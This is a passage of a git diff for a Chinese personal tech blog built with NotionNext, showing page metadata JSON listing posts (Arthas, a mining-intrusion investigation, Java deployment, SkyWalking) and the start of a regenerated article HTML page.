,{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240325-ollama"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/begin.html b/article/begin.html
index 2eceb317e..380b583a0 100644
--- a/article/begin.html
+++ b/article/begin.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>开始 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,文字,推荐"/><meta name="description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="开始 | Both Savage"/><meta property="og:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta property="og:url" content="https://bothsavage.github.io//article/begin"/><meta property="og:image" content="https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。"/><meta name="twitter:title" content="开始 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="知"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">开始</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-54d97ca633d540e68c8b0ad4a4e9a0bf"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span 